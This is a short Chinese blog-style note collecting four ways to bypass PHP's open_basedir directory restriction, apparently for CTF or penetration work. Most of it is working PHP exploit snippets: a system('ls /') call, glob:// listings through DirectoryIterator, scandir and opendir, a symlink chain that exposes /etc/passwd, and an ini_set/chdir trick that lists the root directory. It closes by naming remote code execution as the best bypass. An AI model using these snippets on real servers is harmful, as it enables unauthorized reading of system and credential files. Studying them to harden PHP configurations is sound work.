前言
php的 open_basedir()函数 对访问目录进行了限制,导致我们只可以访问它所指定的目录,如何突破这种限制呢,百度查了一些文章,这里记录一下
方式一
open_basedir()函数 对系统命令没有限制,所以可以直接用系统命令来进行突破
直接 system(‘ls /‘) ; 就可以列出根目录文件
方式二
利用glob伪协议(需要结合其他函数来配合,单纯伪协议达不到要求)
1.DirectoryIterator+glob://
脚本:
1 2 3 4 5
| <?php $a = new DirectoryIterator("glob:///*"); foreach($a as $f){ echo($f->__toString()); }
|
直接打印出根目录下的文件
2.scandir()+glob://
脚本:
1 2 3
| <?php var_dump(scandir('glob:///*'));
|
直接打印出根目录下的文件
3.opendir()+readdir()+glob://
脚本:
1 2 3 4 5 6 7 8
| <?php if ( $b = opendir('glob:///*') ) { while ( ($file = readdir($b)) !== false ) { echo $file; } closedir($b); }
|
可以读到根目录下的文件
方式三
利用 symlink()
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php mkdir("a"); chdir("a"); mkdir("b"); chdir("b"); mkdir("c"); chdir("c"); mkdir("d"); chdir("d"); chdir(".."); chdir(".."); chdir(".."); chdir(".."); symlink("a/b/c/d","Yang"); symlink("Yang/../../../../etc/passwd","exp"); unlink("Yang"); mkdir("Yang");
|
这样我们通过 url 直接访问 /exp 就可以拿到 /etc/passwd
方式四
利用 ini_set()
脚本:
1 2 3 4 5 6 7 8 9 10 11
| <?php mkdir('Yang'); chdir('Yang'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); var_dump(scandir('/'));
|
可以打印出根目录下的文件
最后
这几种绕过open_basedir()的方式 对PHP版本要求有限制,同时有些只能读取根目录下有哪些文件,但并不能读取文件的内容,有一定的局限性,最好的方式还是通过RCE,执行系统命令来绕过。